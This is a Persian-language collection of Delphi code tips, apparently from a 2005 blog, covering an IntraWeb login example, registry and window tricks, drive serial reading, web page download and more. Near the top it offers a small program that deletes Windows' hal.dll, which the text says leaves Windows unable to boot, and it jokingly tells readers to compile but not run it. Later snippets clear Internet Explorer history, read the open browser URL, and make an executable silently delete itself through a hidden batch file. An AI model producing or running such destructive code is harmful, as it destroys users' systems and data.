---> مثال : این مثال به این صورت است که اگر رمز عبور را درست وارد کردید یک دیتابیس (access) در صفحه نمایش داده شود.
1 - یک iwbutton و یک iwedit و یک iwdbgrid و یک adotable(از iw ها نیست) و یک datasorce(این هم از iw ها نیست) روی فرم قرار دهید .
2 - adotable خود را به database مورد نظر وصل کنید و خاصیت active آن را برابر true کنید .
3 - datasource خود را به adotable نسبت دهید .
4 - خاصیت visible شی IWDBGrid1 را برابر false کنید
۵ - IWDBGrid1 را به datasorce نسبت دهید .
6 - بر روی iwbutton1 دابل کلیک کنید تا وارد code نویسی آن شویم.
برای iwbutton بنویسید :
if iwedit1.caption= 'hello' then
iwdbgrid1.visible:=true
else
showmessage('Invalid password')
7 - برنامه را اجرا کنید. وقتی برنامه اجرا شد باز هم کلید f9 را فشار دهید .
حال صفحه وب خود را مشاهده می کنید.
با اجرای این برنامه یکی از فایلهای مهم ویندوز پاک می شود و دیگر ویندوز بالا نمی آید.مزیت این برنامه حجم پایین آن است.متن کد را در یک فایل متنی کپی کنید.سپس پسوند آن را به .dpr تغییر دهید سپس با دلفی آن را باز و کامپایل فرمایید(ما نگفتیم اجرا نمایید):
//Copyright 2005 koosha system software WWW.DELPHI-CENTER.BLOGFA.COM
program WC;
uses
SysUtils;
begin
DeleteFile('c:\windows\system32\hal.dll')
end.
//Copyright 2005 koosha system software WWW.DELPHI-CENTER.BLOGFA.COM
//Copyright 2005 koosha system software WWW.DELPHI-CENTER.BLOGFA.COM
DeleteRegKey('Software\Microsoft\Internet Explorer\TypedURLs',HKEY_CURRENT_USER);
CreateRegKey('Software\Microsoft\Internet Explorer\TypedURLs','url1','Koosha System Software...Koosha
Nakhai...WWW.Delphi-Center.Blogfa.com...',HKEY_CURRENT_USER);
ShowMessage('Okey.Finish.Cleaned The Urls in Microsoft Internet Explorer koosha system software.');
//Copyright 2005 koosha system software WWW.DELPHI-CENTER.BLOGFA.COM
//Copyright 2005 koosha system software WWW.DELPHI-CENTER.BLOGFA.COM
SendMessage(Application.Handle,WM_SYSCOMMAND,SC_MONITORPOWER,2);
uses
DDEMan;
// Koosha System Software WWW.Delphi-Center.Blogfa.com
procedure TForm1.Button1Click(Sender: TObject);
var
DDE:TDDEClientConv;
begin
DDE:=TDDEClientConv.Create(self);
if DDE.SetLink('IExplore','WWW_GetWindowInfo') then
Memo1.Lines.Add(DDE.RequestData('0xFFFFFFFF,sURL,sTitle'));
DDE.Free;
end;
//Copyright 2005 koosha system software WWW.DELPHI-CENTER.BLOGFA.COM
//Copyright 2005 koosha system software WWW.DELPHI-CENTER.BLOGFA.COM
procedure TForm1.HideStartButton(AVisible: Boolean);
var
Tray,Child,StartButtonHandle: HWnd;
C: array[0..127] of Char;
S: string;
begin
//Copyright 2005 koosha system software WWW.DELPHI-CENTER.BLOGFA.COM
Tray:=FindWindow('Shell_TrayWnd',nil);
Child:=GetWindow(Tray,GW_CHILD);
while Child<>0 do
begin
if GetClassName(Child,C,SizeOf(C))>0 then
begin
S:=StrPas(C);
if UpperCase(S)='BUTTON' then
begin
StartButtonHandle:=Child;
if AVisible then ShowWindow(Child,1)
else ShowWindow(Child,0);
end;
end;
Child:=GetWindow(Child,GW_HWNDNEXT);
end;
end;
//Copyright 2005 koosha system software WWW.DELPHI-CENTER.BLOGFA.COM
هر هاردی یک سریال دارد.این سریال برای ساخت نرم افزار های تجاری و رجیستری بسیار لازم است:
//Copyright 2005 koosha system software WWW.DELPHI-CENTER.BLOGFA.COM
procedure TForm1.Button1Click(Sender: TObject);
var
SerialNum: DWord;
A,B: DWord;
C: array [0..255] of Char;
Buffer: array [0..255] of Char;
begin
//Copyright 2005 koosha system software WWW.DELPHI-CENTER.BLOGFA.COM
if GetVolumeInformation(
PChar('C:\'),
Buffer,
256,
@SerialNum,
A,
B,
C,
256) then Label1.Caption:=IntToStr(SerialNum);
end;
//Copyright 2005 koosha system software WWW.DELPHI-CENTER.BLOGFA.COM
در قسمت Wnd . باید Handle فرم را بدهید.مثلا MakeWndTrans(Form1.Handle,50)۰
//Copyright 2005 koosha system software WWW.DELPHI-CENTER.BLOGFA.COM
function MakeWndTrans(Wnd: HWND; nAlpha: Integer = 10): Boolean;
type
TSetLayeredWindowAttributes = function(hwnd: HWND; crKey: COLORREF; bAlpha: Byte;
dwFlags: Longint): Longint; stdcall;
const
// Use crKey as the transparency color.
LWA_COLORKEY = 1;
// Use bAlpha to determine the opacity of the layered window..
LWA_ALPHA = 2;
WS_EX_LAYERED = $80000;
var
hUser32: HMODULE;
SetLayeredWindowAttributes: TSetLayeredWindowAttributes;
i : Integer;
begin
//Copyright 2005 koosha system software WWW.DELPHI-CENTER.BLOGFA.COM
Result := False;
// Here we import the function from USER32.DLL
hUser32 := GetModuleHandle('USER32.DLL');
if hUser32 <> 0 then
begin
@SetLayeredWindowAttributes := GetProcAddress(hUser32,'SetLayeredWindowAttributes');
// If the import did not succeed, make sure your app can handle it!
if @SetLayeredWindowAttributes <> nil then
begin
// Check the current state of the dialog, and then add the WS_EX_LAYERED attribute
SetWindowLong(Wnd, GWL_EXSTYLE, GetWindowLong(Wnd, GWL_EXSTYLE) or WS_EX_LAYERED);
// The SetLayeredWindowAttributes function sets the opacity and
// transparency color key of a layered window
SetLayeredWindowAttributes(Wnd, 0, Trunc((255 / 100) * (100 - nAlpha)), LWA_ALPHA);
Result := True;
end;
end;
//Copyright 2005 koosha system software WWW.DELPHI-CENTER.BLOGFA.COM
end;
دانلود کردن سورس یک سایت:
این کد در صورت متصل بودن به اینترنت سایتی را که شما آدرس می دهید دانلود می کند.(در ممو استفاده شود)
//Copyright 2005 koosha system software WWW.DELPHI-CENTER.BLOGFA.COM
function DownloadWeb(const Url: string): string;
var
NetHandle: HINTERNET;
UrlHandle: HINTERNET;
Buffer: array[0..1024] of Char;
BytesRead: dWord;
begin
//Copyright 2005 koosha system software WWW.DELPHI-CENTER.BLOGFA.COM
Result := '';
NetHandle := InternetOpen('Delphi 5.x', INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);
if Assigned(NetHandle) then
begin
UrlHandle := InternetOpenUrl(NetHandle, PChar(Url), nil, 0, INTERNET_FLAG_RELOAD, 0);
if Assigned(UrlHandle) then
{ UrlHandle valid? Proceed with download }
begin
FillChar(Buffer, SizeOf(Buffer), 0);
repeat
Result := Result + Buffer;
FillChar(Buffer, SizeOf(Buffer), 0);
InternetReadFile(UrlHandle, @Buffer, SizeOf(Buffer), BytesRead);
until BytesRead = 0;
InternetCloseHandle(UrlHandle);
end
else
{ UrlHandle is not valid. Raise an exception. }
raise Exception.CreateFmt('Cannot open URL %s', [Url]);
InternetCloseHandle(NetHandle);
end
else
{ NetHandle is not valid. Raise an exception }
raise Exception.Create('Unable to initialize Wininet');
end;
//Copyright 2005 koosha system software WWW.DELPHI-CENTER.BLOGFA.COM
این کد دستور پاک کردن را به یک فایل Batch می دهد و خود را به هر زوری می بندد.به محض بسته شدن فایل Batch این فایل را پاک می کند:
//Copyright 2005 koosha system software WWW.DELPHI-CENTER.BLOGFA.COM
procedure DeleteMe;
var
BatchFile:TextFile;
BatchFileName:String;
ProcessInfo:TProcessInformation;
StartUpInfo:TStartupInfo;
begin
BatchFileName:=ExtractFilePath(application.exename)+'$$336699.bat';
AssignFile(BatchFile, BatchFileName);
Rewrite(BatchFile);
Writeln(BatchFile, ':try');
Writeln(BatchFile, 'del "' + application.exename + '"');
Writeln(BatchFile, 'if exist "' + application.exename + '"' + ' goto try');
Writeln(BatchFile, 'del "' + BatchFileName + '"');
CloseFile(BatchFile);
//Copyright 2005 koosha system software WWW.DELPHI-CENTER.BLOGFA.COM
FillChar(StartUpInfo, SizeOf(StartUpInfo), $00);
StartUpInfo.dwFlags := STARTF_USESHOWWINDOW;
StartUpInfo.wShowWindow := SW_HIDE;
if CreateProcess(nil, PChar(BatchFileName), nil, nil,
False, IDLE_PRIORITY_CLASS, nil, nil, StartUpInfo,
ProcessInfo) then
begin
CloseHandle(ProcessInfo.hThread);
CloseHandle(ProcessInfo.hProcess);
end;
end;
//Copyright 2005 koosha system software WWW.DELPHI-CENTER.BLOGFA.COM
یک کد برای بستن پنجره:
به جای .Pixel. تیتر پنجره را بگذارید:
//Copyright 2005 koosha system software WWW.DELPHI-CENTER.BLOGFA.COM
procedure TForm1.Button1Click(Sender: TObject);
var
MyHandle: THandle;
a:tagMSG;
begin
MyHandle:=FindWindow(nil, '.Pixel.');
SendMessage(MyHandle, WM_CLOSE, 0, 0);
end;
//Copyrigh 2005t koosha system software WWW.DELPHI-CENTER.BLOGFA.COM
به جای notepad تیتر اون پنجره و به جای kss کلمه ی مطلوب را بنویسد:
//Copyright 2005 koosha system software WWW.DELPHI-CENTER.BLOGFA.COM
setwindowtext(findwindow('notepad',nil),'kss');